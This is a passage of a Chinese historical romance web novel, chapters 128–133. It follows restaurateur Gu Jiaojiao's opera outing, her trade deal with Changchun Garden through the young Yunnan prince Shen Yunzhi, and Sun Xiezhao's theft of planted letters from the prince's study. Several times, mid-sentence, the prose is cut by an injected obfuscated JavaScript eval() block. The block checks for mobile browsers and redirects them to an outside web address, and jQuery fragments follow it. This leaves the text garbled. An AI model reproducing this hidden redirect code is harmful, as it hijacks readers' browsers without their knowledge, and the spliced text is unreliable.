顾皎皎还未反应就被笼罩在阴影之下,眼前是一双好看却望而生畏的眸子。 突如其来的质问叫她大脑一片空白,朱唇轻启却说不出话。 杜玉荣察觉不对,当即叩门而入。 一进门便见顾皎皎神色慌张,连着退后许多步。 他快步上前将人搀扶,却又发觉不合礼数松开双手,局促地站在身侧。 “方才听闻屋内有动静,小王爷与顾姑娘这是怎么了?” 沈云祉冷眼看着沉默不语的顾皎皎,一字一句道:“方才顾姑娘与本王言说多些玉荣你的恩情,苦恼如何报答。本王便提点一番,想着兴许能够成就一番姻缘。” “小王爷慎言!”顾皎皎抢先开口,面色难看,“杜大人清风明月,岂是我这样的人可以高攀?我敬重杜大人,亦感激大人,断然不敢心存妄念。” 杜玉荣侧眸看她,眼底几分落寞,却很快拿出平日里温和面容,向前一步打圆场:“戏票我又寻得一张,该是时候去畅春园了。和气生财,何必这般急言令色?” 见场面缓和许多,他又看向沈云祉:“小王爷,我与顾姑娘虽有几分缘分,却发乎情止乎礼。再无其他。还望小王爷顾念顾姑娘名声,莫要再说这样的话了。” 沈云祉将两人打量一番,忽地拍了拍手:“此事是本王唐突了。畅春园见吧。” 语罢,他便拂袖而去,脚步匆匆。 见他离开,顾皎皎才松了口气。方才她心跳极快,一时间竟忘了呼吸。 杜玉荣很是担忧:“顾姑娘,你可还好?” 顾皎皎拍拍胸脯以示安抚:“无碍。身居高位者难免有些阴晴不定,我虽不曾侍奉却也知晓一二。” “你未受惊便好。小王爷平日并非如此暴躁,想来是今日大理寺调查一事扰了他的心神。”杜玉荣将戏票递去,又道,“戏票已经取来了。” 顾皎皎犹豫着接下,心中不免担忧:“多谢杜大人,只是……” 一想起沈云祉方才阴沉的模样,顾皎皎禁不住心底发怵。她虽不想与他牵扯过多,却也不想得罪。 杜玉荣明白她的顾虑,柔声安抚:“我第一次见你时,你可不是这般畏首畏尾的模样,况且,这票已取来,莫不是要白跑一趟?” 顾皎皎失笑:“那便谢过杜大人。” 畅春园。 牡丹名声在外,此番开台园内虚无座席,等待的间隙众人把酒言欢,好不热闹。 沈云祉坐在前排的位置,神色冷淡瞧不出情绪。身侧不是迎过去巴结的官员,却都被双瑞揽下。 杜玉荣给了顾皎皎一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017342|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个安抚的眼神,将人带了过去。 听闻身侧声响,沈云祉侧眸看去,打量一眼又收回眼神。 顾皎皎假意不曾瞧见,正想避开却发觉位置正在小云南王身旁。 “怎么?顾姑娘难不成找不见位置何处?可要本王替你瞧瞧?” 沈云祉沉声开口,只瞧着她那犹犹豫豫的模样他便知晓是何变故。况且,这是畅春园特意留给杜府的位置,自然只能在一处。 “多谢小王爷好意,不必了。” 顾皎皎暗自叹气,只得坐到男人身侧,好在杜玉荣就在旁边,也算是一种慰藉。 这方刚落座,沈云祉忽然一脸玩味:“你可知你今日坐的是何位置?” 顾皎皎一时惊慌,连忙四处张望,生怕坐在了不该坐的位置。莫非是留给杜老夫人的? “你知晓今日有多少人想与本王攀谈?你这位置恰是旁人万金难求的。”沈云祉出声解释,眉眼得意,“你若识趣,就该现在敬本王一杯酒。” 顾皎皎 松了口气,端起手边酒盏,恭敬地敬了一杯:“今日有幸与小王爷同坐,实乃三生有幸。” 沈云祉轻笑一声,将这酒一饮而尽:“顾姑娘不必如此客套,只是莫要再算到玉荣头上便好。” “方才好似听到了我的名号。”杜玉荣笑着走过来,行了礼坐下。 沈云祉阴阳怪气:“本王还未听过京城的戏,此番多亏你了。” 杜玉荣只笑笑,并未回应。也不知怎地,今日的小云南王似乎火气格外大。许是贪污一事确实叫他伤神。 戏台上已响起锣鼓之声,不多时戏就要开场。 赵蕴苎路上耽搁了功夫,直到牡丹出场才姗姗来迟。 她本是不爱听戏,但听闻杜玉荣今日在此,才使了些手段,寻了张同坐的戏票。 苍穹已被夜色遮盖,园内张灯结彩,映在众人面上依光溢彩。 赵蕴苎步伐匆匆,远远地已经瞧见了杜玉荣挺拔的身姿,再走近几步,顾皎皎的身影也落入眼帘,再走便是沈云祉。 第一百二十八章 还能大赚一笔 见三人并肩同坐,赵蕴苎心中喜色顿时消了大半。 思荣亦是意外:“姑娘,那好像是第一楼的老板,她怎么会在这里?” 赵蕴苎面露愠色:“我也想知晓她为何在此。这人不是安阳侯府和离的三夫人吗?究竟是什么来头?” 说话间,牡丹已身着戏服缓缓出现在众人视野,咿咿呀呀一阵后正是开幕,堂下一片喝彩。 赵蕴苎站在此处很是显眼:“先落座,回去好生调查一番这人底细。” 一坐下,她便主动与杜玉荣交谈:“杜大人,今日您竟也来瞧戏。” 男子温润如玉,却态度疏离:“没成想赵小姐也来此处。今日来畅春园的都是为了一睹牡丹音姿,既然戏已开场,便不再多言。” 赵蕴苎面上尴尬,没再言语。若是继续滔滔不绝,怕是要被看作不懂文雅之物的俗人,她自然是不允的。 顾皎皎前半场认真听戏,后半场忽然觉得畅春园这营生活计很是新颖,若是能够引进倒也不失趣味。 每一桌客人畅春园都在准备吃食与酒水,若是第一楼能包揽全部的吃喝用度,不仅能打响名声,还能大赚一笔。 再者,若是能在第一楼的大堂搭一处小戏台,不日邀京中有才艺的名人巧匠表演戏耍,也能增添风味。 第一楼眼下在京城地位稳固,保不齐那一日就会被人取代。城中变化瞬息万变,唯有保持新鲜才能经久不衰。 光是这样想着,顾皎皎心中便躁动不安,恨不得现在就冲去后园,找来园主相商。 沈云祉趁着夜色不时观察她的反应,如今这坐立难安的模样更是尽收眼底。顺着炙热的目光看去,竟是畅春园的后台。 难道是看中了畅春园的营生,也想掺和一脚? 沈云祉虽有不解,却有意成全:“顾姑娘,本王瞧你似有些坐不住了,可要陪本王去后园闲逛?” 畅春园不仅戏曲唱功精妙绝伦,园中景色更是巧夺天工。每年花开最盛的时节便会设两场百花宴。头彩供达官贵人赏玩,而后便由寻常百姓观赏。 “早闻畅春园园色非凡,与皇宫的御花园相比都毫不逊色,一直未得空观赏,今日倒是托小王府的福了。” 顾皎皎当即应下,甚至要主动起身引路。 虽不知沈云祉存着什么心思,但有这样一位身份贵重之人相伴,与畅春园的交涉兴许会便捷不少。送上门的生意,怎会有不做的道理? 沈云祉心情好转许多:“你倒是懂事。” 因为台上戏曲未停,两人便等到第一幕唱完方结伴而去。 台下喝彩声不断,牡丹扭着腰肢退场。杜玉荣尽兴,正欲与顾皎皎谈论,就见两人身影在拐角处消失。 他心中担忧,有意跟随,却被赵蕴苎叫住。 “杜大人,方才我瞧见小王爷主动相邀,莫非你要去扫了小王爷的兴致吗?” 她眼底藏着不满,瞧着杜玉荣对一个弃妇这般在意,心中醋意横生。 顾皎皎她是记得的,甚至还曾出手相助,却不想竟是个恩将仇报的。这才刚离开了安阳侯府,又想来攀杜府的高枝。 杜玉荣顿住步子,看着两人离开的方向百感交集。小云南王对顾姑娘似乎也有所不同。 畅春园后园。 对比前院的热闹喧嚣,此处静谧不少。但沿途的烛火灯笼一应俱全,就着夜色也不曾耽搁。 两人并肩前行,却相顾无言。 顾皎皎沉浸在自己的心思,只盼着能瞧见个丫鬟模样的人,也好打探掌柜的去处。 瞧出她的心不在焉,沈云祉轻咳一声:“怎么?你对这畅春园也有兴致?” 顾皎皎瞧他一眼,权衡利弊下还是说出了自己的想法:“畅春园常年宾客络绎不绝,若是能与之合作,必定能成就一番盛景。” 沈云祉挑眉,越发欣赏她的敏锐:“顾姑娘真是有一颗七窍玲珑心,这一场大戏还未唱完,你便就寻到了商机。” 顾皎皎的足智多谋叫人刮目相看,他一边欣赏,一边感慨自己看人的眼光。 “若是想在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017343|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京城谋生,没有真本事如何苟活?”顾皎皎只当他在夸奖,毫不避讳地应承此事。 “你既然想让畅春园与第一楼合作,自然得用味道将人说服。”沈云祉一脸认真,“既如此,不若明日择个时辰,与掌柜在第一楼交谈,岂非事半功倍。” 一言点醒梦中人,顾皎皎眼中闪过一瞬光亮:“原本是想着若是能见到掌柜,就差人将糕点佳肴运送过来,如此到确实没有将人请过去周全。” “时间久了,若是折损了饭菜的口味,叫掌柜的不满倒是得不偿失了。” “多谢小王爷指点,我这就是去寻园主,看他可有意愿与我谈这桩生意。” 说着,顾皎皎俯身行礼,就要带着莺儿离开。 看她这般火急火燎,沈云祉不禁轻笑出声:“你知晓园主身在何处?长相如何?” 顾皎皎面露难色:“不知。不过能在园中打听,再不济也能问问杜大人的消息。” 沈云祉脸色又阴沉下去:“你倒是机灵,怎地听不出本王何意?” “难道?”顾皎皎这才将他的 话细细品味一番,露出惊喜的神色,“小王爷愿意引荐畅春园园主相见?” 沈云祉饶有趣味的看着她眼中的明媚:“能博美人一笑,何乐而不为?” 顾皎皎一时语塞,尴尬得只能以沉默应对。 月光皎洁挂在夜幕之上,看着眼前女子凝固的表情,沈云祉难得吃瘪。 “本王早同你讲过,希望你能为本王所用。不过是几桩生意,信手拈来罢了” 他为自己寻来台阶,侧过身去独生闷气。 好在顾皎皎不愿与银子过不去:“那便多谢小王爷相助,只是小王爷所求之事,我还是无法答应。” 沈云祉点头,心中了然:“本王知晓你心中顾虑,故而本王并不着急。” 前院再度响起敲锣打鼓之声,沈云祉忽地严肃起来:“第二幕已经开唱,你去前院看戏便好。” 顾皎皎好奇地顺着他的视线看去,却是空无一物。 第一百二十九章 难免会埋下祸端 “那我便先行一步。”顾皎皎福身离开,不敢久留。 莺儿忍不住回头偷瞄一眼,低声道:“姑娘,小王爷孤身站着,莫非是不高兴了?” 顾皎皎低声斥责:“不要胡乱揣测。你且去外头候着,我知会杜大人一声,咱们就回第一楼准备。” 前院,杜玉荣心不在焉,不时探看着后院方向。 赵蕴苎看着男人的失魂落魄,心中对顾皎皎的敌意多加几分。她与杜玉荣相识数年,还不曾见过对哪个女子这般上心。 毫不知情地顾皎皎轻手轻脚地回到原处,刚是坐下耳边便传来一道关切的声音。 “顾姑娘,可是发生了何事?” 顾皎皎摇头:“无事。机会难得,我便去了一趟畅春园的后院,其中景色果然名不虚传。” 杜玉荣半信半疑,看着身侧的空位疑惑道:“小王爷为何还未归来?当真无事吗?” “小王爷行踪我如何能得知?”顾皎皎心虚地笑笑,“方才我往后园的方向走,并未瞧见小王爷去了何处。许是有什么要紧事。” 她与沈云祉到底身份有别,此处又眼线颇多。若是今日对话叫有心之人听去,难免会埋下祸端。 “杜大人,第一楼有些琐事等着我前去处理,我便先行一步。” 顾皎皎起身行礼,匆匆离开。 杜玉荣还未来得及开口挽留,那一抹单薄的身影便消失在了夜色中。 “杜大哥似乎与那女子关系匪浅。”赵蕴苎冷声开口,醋意横飞,“若是没看错,她似乎是往日安阳侯府的三夫人吧?” “人是我带来畅春园的,若是出了何事,岂非我的责任?”杜玉荣镇定自若,“至于关系,因着一些机缘也能称作好友,赵姑娘是有何不满?” 赵蕴苎哑口无言,言语闷闷:“到底是个商贾之人,与你我实乃天壤之别。我只是担心杜大哥与这样身份的人靠得太近,坏了自己的名声。” 杜玉荣不禁蹙眉:“商贾之人并非杀人放火之辈,赵姑娘何出此言?” 赵蕴苎冷笑一声,心底很是委屈:“杜大哥,你身在户部,她世代行商,你们两人凑到一处难免会有些闲言碎语。” “今日见到爷爷,他老人家还问起你的近况,直言可是有意扶持第一楼成皇家产业,杜大哥以为如何?” “我……”杜玉荣欲言又止,“我不会以公谋私,还望首辅大人放心。” 顾皎皎有意成为皇商,他自心知肚明。但此事并未挑明,是以算不得数。这话也不是违心之论。 赵蕴苎没再开口,只是这袒护的话语实在刺痛了她的耳朵。 方才顾皎皎随沈云祉离开她亦是瞧在眼中,心中不由得揣测起她的身份。 到底是低贱的商贾之女,竟如此不知廉耻地同两位男子周旋,真是让人唏嘘。 这场戏几人听得各怀心思,最后不欢而散。 第一楼。 毫不知情地顾皎皎一回到第一楼便开口着手安排明日试吃之事。 “去到畅春园的客人并非是为了吃食,故而不必准备果腹之物。”她提笔将不合时宜的菜色划去,“最好是准备精美的糕点,但不可太腻,清甜可口最好。” 莺儿在一旁看着,心中无限憧憬:“若是与畅春园的生意能够谈下来,第一楼的名声便要更加响亮了。” 畅春园虽地处京城,却从不局限开台的地点,时常在各地巡游。若是第一楼的糕点能跟着过去,必定能吸引不止一倍的客人。 再要寻到机会,再开几家分店也未尝不可。 顾皎皎定下菜色,又去仓库挑选茶叶:“所以此番必得全力以赴,不能出丝毫纰漏。” 莺儿上前帮忙:“姑娘,既然这桩生意是小王爷引荐的,那畅春园可会瞧着小王爷的面子直接应承下来呢?” 她方才就在好奇此事,眼下终于是找到机会问出了口。 顾皎皎动作一顿,方才她一直沉浸在喜悦之中,这才意识到沈云祉帮了多大的忙。 “畅春园能发展如此,想来园主并非随性之人。”顾皎皎收回心思,继续闻香识茶,“即便是他真的会看在小王爷的面子,咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017344|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们也不能掉以轻心。” 莺儿醍醐灌顶,也在茶盒之间周旋。 翌日,第一楼。 为表诚意,顾皎皎特地吩咐第一楼歇业一天。 莺儿看着空无一人的第一楼,觉得有趣:“自第一楼开业至今,倒是第一次见如此荒凉的景色。” 顾皎皎失笑,确实有几分恍若隔世。 刚过巳时,沈云祉的马车便停在了第一楼外,紧随其后的是一架样式素雅的马车。 “参见小王爷。”顾皎皎上前行礼。 她的目光恩施诚实地去看后头马车下来的女子。奈何那日带着面纱,瞧不清真实容貌。 小王爷莅临于此,身后还跟着一位神秘女子,第一楼门外很快便距离了许多好奇的百姓。 顾皎皎连将人请进大堂,随后大门紧闭,将异样的目光尽数隔离。 “今日第一楼歇业一天,不会有旁人打搅的。” 女子在顾皎皎期待地眼神中摘下面纱,竟然就是昨日见过的牡丹。 顾皎皎颇为惊喜,下意识看向含笑的沈云祉:“牡丹娘子?” 牡丹微微福身,柔声解释:“这畅春园确实由我创办。早些年我流落云南,幸得小王爷相救。他道我音色绝佳,是不可多得的人才,又慷慨解囊,交给我一袋银子。” “而后,我辗转来到京城,再是一手创办了而今的畅春园。为了报答小王爷恩情,又因我时常在外,无心打理,便将畅春园交还给了小王爷。” “是以,顾姑娘若想与畅春园合作,直接与小王爷言说便可。奈何小王爷非得要我来这一趟,说是担心你不信这番说辞。” 语罢,牡丹娘子眼神在两人之间流转,嘴角含笑却有几分打趣意味。 沈云祉轻咳一声:“只叫你解释一番,你说这样多做什么?” 顾皎皎确实觉得意外,却也没有多加表露。 “席面已经备下了,不论畅春园背后究竟是谁,第一楼的诚意便在此处了。” 她轻笑,退到一边露出琳琅满目的糕点与茶水。 第一百三十章 不知如何抉择 堂内整齐摆着几张方桌,上面皆是放置着不同的糕点茶水,其上还有宣纸写成的注解,十分详尽。 顾皎皎在前方一边引路,一边介绍:“此处设下了十张方桌,每一张都是不同的糕点和茶水。顾及着夏日酷暑,都是清爽解腻之物。还请小王爷,牡丹娘子过目。” 沈云祉一进门就择了处软凳坐下,心安理得当起甩手掌柜:“本王虽接手了畅春园,却对其中运作与宾客喜好本王尚未熟悉,此番还是你两人商讨便好。” 牡丹娘子穿梭其中,面露惊艳,称赞道:“顾姑娘当真好心思,这般倒是叫我不知如何抉择了。” 顾皎皎笑意加深:“那娘子慢慢选便是。” 她心底得意,也不枉费她昨夜忙活到深夜,绞尽脑汁相处这些搭配。 沈云祉在一旁看着顾皎皎眉梢的得意,也跟着弯了嘴角。 “便就这个吧。”牡丹娘子在一旁桌边站定,“正值盛夏,藕粉桂花糖糕最为清凉解腻,百合绿豆糕也是公认的清爽,配上雪顶含翠可谓锦上添花。” 顾皎皎上前两步:“牡丹娘子亦是心思玲珑,那我便将这桌食谱记下。为保证口感,待畅春园开台,我再安排第一楼的厨子前去。” 莺儿就在一旁将两人所言一一记下。 牡丹娘子颇为满意,激动地握住了顾皎皎的双手:“我倒是什么可人儿叫小王爷如此惦记,今日一见倒是小王爷高攀。” 顾皎皎面露惶恐,就要开口解释;沈云祉却只是投去一记警告的眼神。 牡丹娘子觉得无趣,便自说自话起来:“我自然知晓你们联系不过有关生意,并未胡思乱想。” “我这样身份的人断然不敢去小王爷相提并论的。”顾皎皎语气僵硬,不悦之色跃然纸上,“这是今日第一楼与畅春园合作的凭证,娘子瞧瞧可有不妥。” “不着急。”牡丹娘子接过契约放到一旁,“今日前来倒是还有一桩旁的事。” “来的路上听闻你名下还有成衣铺子霓裳阁,水粉铺子琳琅轩,好巧不巧,都是能与畅春阁扯上关系的,不若一并签了契约,也省了日后的功夫。” 顾皎皎瞪大眸子,不敢想象这三约同契,能有多少银子进账。 “当真?”她仍是不敢相信,暗自捏紧虎口。 牡丹娘子轻笑,抬手点了点她的鼻尖,十分亲昵:“自然是真的。到底是小王爷看中的人,想来也是人中翘楚。况且今日见你,也觉得有缘得紧。” 说着,她已拿起一旁朱笔签字画押,摁上手印。 顾皎皎看着到手的三张契约眼眸放光,喜不自胜:“娘子既然如此信任我,我定不会辜负。往后娘子有所需,只需提前知会一会,定提前安排妥当。” 牡丹娘子笑笑:“往后兴许就要与小王爷多加走动了,过些日子我又得去一趟扬州。” “娘子辛苦。我已命人在二楼雅间设下宴席,眼下可以入座了。” 眼瞧着到了午膳时辰,顾皎皎早已预料到会耽搁至此,早早地就叫人安排下去。 “小王爷……”她转身去请沈云祉,却见软凳上空无一人。 莺儿:“姑娘,方才奴婢好似瞧见小王爷往后院去了。” 顾皎皎点头,先将牡丹娘子安排妥当,再折去后院寻人。 第一楼到底是酒楼,后院以厨舍为主,陈设简单。 穿过圆月拱门就瞧见沈云祉站在连廊下,正与一个眼生的侍卫交谈。她本不欲偷听,却忽然听到大理寺的字样。 早闻小云南王牵扯进了一桩官司,但个中明细无人敢私下妄言。她虽好奇,却并未过多关注。 思索间,她竟听到了孙协兆的名讳,心中一紧,不由得多听了片刻。 双剑压低声音:“小王爷,昨日大理寺的人今早已经离开了。” 沈云祉侧站着,只能瞧见棱角分明的半张脸,不近的距离也看不清面上神色。 “可查到他们想要的了?” 双剑摇头:“只是属下查到,今日之事确实为孙协兆透露给平王的。想来这些日子他如此关心此事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“寻本王吗?”转身时,沈云祉已出现在身后。 顾皎皎与莺儿当即福身:“参见小王爷,宴席已经背下,牡丹娘子也已入座。待您入席,便可开席了。” 进门时,牡丹娘子正百无聊赖地站在窗前,听见声响方转过身来。 “方才楼下有人鬼鬼祟祟。” 第一百三十一章 相信沈云祉 沈云祉却毫不在乎地落座,看着满桌清淡菜色,不由得皱起眉头:“第一楼近日亏空了?怎地就是这些东西。” 顾皎皎靠近,耐心解释:“想着牡丹娘子不太能吃油荤,故而安排都是清淡素净的菜。” “那本王呢?”沈云祉满眼嫌弃,“本王可没有这些忌讳。” 顾皎皎神色如常,应对自如:“依照小王爷几次在第一楼的用餐习惯,我觉得小王爷并不喜饭食,故而此次更依着牡丹娘子的口味。” 沈云祉一时语塞,笑而不语。 牡丹娘子嗤笑出声,来回看了两人一眼:“倒是少有人能让小王爷说不出话,我这桩生意真是做对了。” 三人气氛其乐融融,席间说了许多合作细节,顾皎皎便趁机说出了脑中的另一个想法。 “其实我还有一事尚未告知两位。” 牡丹娘子目光如炬:“洗耳恭听。” 方才席间顾皎皎许多见解都独特而一针见血,其聪慧与内涵叫她觉得两人十分投缘。 顾皎皎吐出一口浊气:“其实我想借着畅春园的名声,在第一楼的大堂搭一个小戏台,不时请能人巧匠在楼内表演。只是不知这般生意可能奏效。” “这倒是新鲜,或许可以一试。”沈云祉沉思片刻,率先开口。 牡丹娘子也点头附和:“这般营生倒是在京城不曾见过,第一楼早已名声在外,或许会有奇效。” 顾皎皎松了口气:“有两位这番说辞,我心底放心了许多。不过倒是要劳烦牡丹娘子拨一台戏过来。” 牡丹娘子瞧了沈云祉一眼,很快应答:“不是难事,你何时需要去畅春园知会一声便是。” 顾皎皎激动难耐,起身端起一杯酒盏:“那此事便就此定下了,多谢两位能给我,给第一楼机会。” 沈云祉端起酒盏,一双眸子像黏在顾皎皎身上:“互利共赢的事情罢了,不必如此客气。” “若是日后畅春园盈利双收,本王倒还要谢你。” 三人气氛其乐融融,直至暮色斜阳,畅春园差人来请,牡丹娘子才依依不舍的离开。 顾皎皎将人送到门口,却见沈云祉没有要走的意思。眼见着门外围观的人越来越多,她连将男子请进屋内。 “小王爷不一同离开吗?”她率先开口,语气却不再如那日那般冷淡。 今日成了这样的大生意,皆是沈云祉授意。这样的大金主,她实在不好再那般疏离。 “本王发生了何事你应当有所耳闻。”沈云祉平淡开口,“原本在这京城就是些吃喝玩乐之事,如此更是无所事事了。” 顾皎皎不曾想他会主动提起此事,踌躇片刻还是说了安慰的话语:“虽不知事情缘由,但我相信小王爷你一定是清白的。” 沈云祉挑眉,心底一阵舒爽:“怎么?你很了解本王脾性?” 顾皎皎摇头,却仍然笃定:“或许是直觉吧,觉得小王爷您并非贪恋钱财之人。即便君子爱财,您也不会为不相关的人和事耗费心神;再即便您真的做了,想来也不会留下破绽。” 沈云祉勾起唇角,轻声道了一句“有趣”。 “既然你如此信任本王,本王也不好在这浑水中耽搁太久了。免得伤了银两不是。” 他收起慵懒,神色认真,似乎已有对策。 顾皎皎没再多言,沉默着目送沈云祉离开。 沈云祉言之有理,若是如今安在他身上的罪名当真成立,与他有关的产业自然也会受损。第一楼与畅春园已是契约关系,自然也会受到影响。 可方才她并未想起这些。 收回杂思,顾皎皎带着莺儿回了顾府。眼下重要紧的还是第一楼的小戏台。 此番与畅春园的合作她十分重视,这台子自然不能马虎,只得交给建方斋才能安心。 顾皎皎亲手写下一份拜帖交到莺儿手中:“此信你亲手交到建方斋的掌柜手中,必得说明来意。” 莺儿小心地将信件收好:“姑娘,若是交给建方斋,岂非要月余之后了。” 顾皎皎垂眸,这也是她所担心的。 “却有可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾皎皎同样心中担忧,却没有身份告知。若是贸然戳破,那日连廊偷听之事也会暴露。 “孙协兆乃阴险小人,难免还会做些什么,你让王吉继续盯着,有任何风吹草动,都要加紧禀告。” 莺儿离开后,顾皎皎垂着密密麻麻的账簿,心中想的却是如何提醒沈云祉小心身边人。 驿站。 双剑将孙协兆的行踪事无巨细地说与沈云祉听,而后又将顾皎皎派人跟踪的之事也如实告知。 沈云祉一听,当即从软塌撑起身子:“当真?” 双剑点头:“不会出错。那人的身手属下记得,就是顾姑娘的人。” 沈云祉心情大好:“好,你先退下吧。” 今日在第一楼时,他就察觉连廊那头有人鬼鬼祟祟,不曾想竟然真的是顾皎皎。 想起她今日的信任之词,沈云祉不禁勾起嘴角。 莫非女子都是口是心非,她这般暗中操作可不像是只为了银子啊。 正回味着,双瑞叩门进来:“小王爷,孙协兆来了,说是泽熙镇一事有了眉目,着急向您禀告。” “既然他如此心急,本王自当成全。”沈云祉收起笑意,眉眼几分不耐烦,“带他去书房便好。” 他正欲起身,忽地玩心大发,又靠回软榻:“你让他在书房等着,就说本王今日身子不适,正在小憩。” 双瑞点头,谨慎询问:“可要在暗中盯着他的动作?” 沈云祉勾起唇角,越发期待后面的话本:“不必,随他去吧。” 双瑞心领神会,按照吩咐带人往书房去。 “孙公子您今日来得不巧,小王爷这几日身子不适,眼下正在厢房小憩。不若您在书房稍等片刻?” “也好,叫小王爷好生休息。”事态发展正中下怀,孙协兆毫不犹豫地应承下来,而后有假惺惺地关切,“两日前小王爷尚且安好,如今这是怎么了?” 双瑞面露愁容,轻叹一声:“这几日大理寺日日来此,不是搜身便是盘问,是以外头多了许多流言蜚语。” “小王爷虽然平日自在随意,并不在乎这些闲言碎语,可误会的人多了,也难免心中郁结。” 说话间,两人已停在书房门外。 双瑞将门推开,吩咐门外的丫鬟点灯看茶,而后才伸手将孙协兆请进去。 “那孙公子便在此处稍坐,属下再去知会小王爷一声。” 孙协兆连忙阻拦:“叫小王爷好生休息便是,我多等片刻不碍事的。” 他自进门便是一脸贪婪的模样,听得沈云祉身子不爽自然而然觉得是做贼心虚,担心得得了病。如此,也就能坐实了他确实授意了此事。 既然做了,必定会留下痕迹,这书房就是破局关键。 门一合上,孙协兆就迫不及待地走到书案翻找,只可惜尽是些兵书名着,连与朝廷相关的文书都不见半张。 孙协兆低声咒骂,手上动作越发毫无章法:“自己用的书房竟然也谨慎至此!” 书案寻不见半点线索,他又将目光转向身后的满墙书架。兴许这罪证就藏在哪一本书页也未可知。 他细细翻找,终是一无所获。就在孙协兆几近崩溃放弃之时,忽然瞥见一本厚度奇特的书籍。 孙协兆自言自语,缓步上前:“这是何物?从前似乎不曾见过。” 走近才知,这书足有八指厚,纸张瞧着也粗糙无比。 出于好奇,孙协兆禁不住伸手去摸。 手掌摸索之处竟然是木材的砂砾,他想拿来细看却纹丝不动,紧接着书架后的暗格响动,一张暗格赫然出现在眼前。 孙协兆瞪大眸子,满眼惊喜,激动地险些出声。 他顾及到看了一眼门外看守的人影,确定两人未被惊扰便一鼓作气将暗格中的文书信件尽数收入囊中。 孙协兆按捺不住内心激动,又将信件摊开细细查看。 “终于是被我找到了。”越是看着,越是得意,“原来小云南王只是撞破了这桩买官丑事,收了钱财封口,难怪如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017347|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何都查不到他参与的证据。” “只可惜,知情不报算作同罪。想不到身份尊贵的小云南王今日就要栽在我的手里。” 孙协兆小人得志,连将来往书信小心收好。事情脉络已然十分清晰,待他禀告平王,便就是大功一件。 皆时迎娶徐青青,再借着平王女婿的名号谋个差事,便能名利双收,安阳侯府也能就此翻身。 孙协兆想得投入,连沈云祉推门进来也未察觉。 “是本王叫你等得太久疲倦?怎地如此神游?”他轻咳一声,自然地走到书案后坐下。 桌案干净整洁,未有挪动的痕迹,也算是做事利索。 孙协兆这才回过神,连忙俯身行礼:“自泽熙镇回来,确实得了些消息,是以想得入神了。” 沈云祉饶有兴致:“与本王也说说你是查到了何事,竟然能如此入神。” 孙协兆颔首,赵恒之事一五一十地说了出来。 “小王爷,这人并无背景,只是有些家底罢了。镇中官职不高,牵扯的不过是 些底层官员。” 他忽然打抱不平:“若不是您派我去调查清楚,却不知这幕后黑手陷害您的手段竟然如此低级!” 沈云祉点头,却满不在乎:“本王从来就未将此事放在眼中,你放心便好。” 孙协兆自然不肯善罢甘休:“是。方才听闻您身子不适,如今可好些了?” 好巧不巧,沈云祉轻咳起来:“说来奇怪,本王这病症来势汹汹。请了大夫来看,也只说是心病,真是庸医!” “心病难医,小王爷可得好生休息。”孙协兆面露担忧,言语关切,“泽熙镇一事已然明了,我便不在此处叨扰了。” 沈云祉点头,又掩唇轻咳,模样痛苦:“嗯,你先走了,本王还得喝药。” 孙协兆颔首,离开的步子透着焦急,看来是等不及要与平王通风报信。 人已走远,沈云祉起身打开暗格,见里头空无一物,冷笑一声。 每一步都在预料之中,实在是无趣得紧。 第一百三十三章 定不会一无所知 孙协兆离开驿站后直奔平王府而去,一路上他激动难耐,满脑子都是平步青云的奢靡。 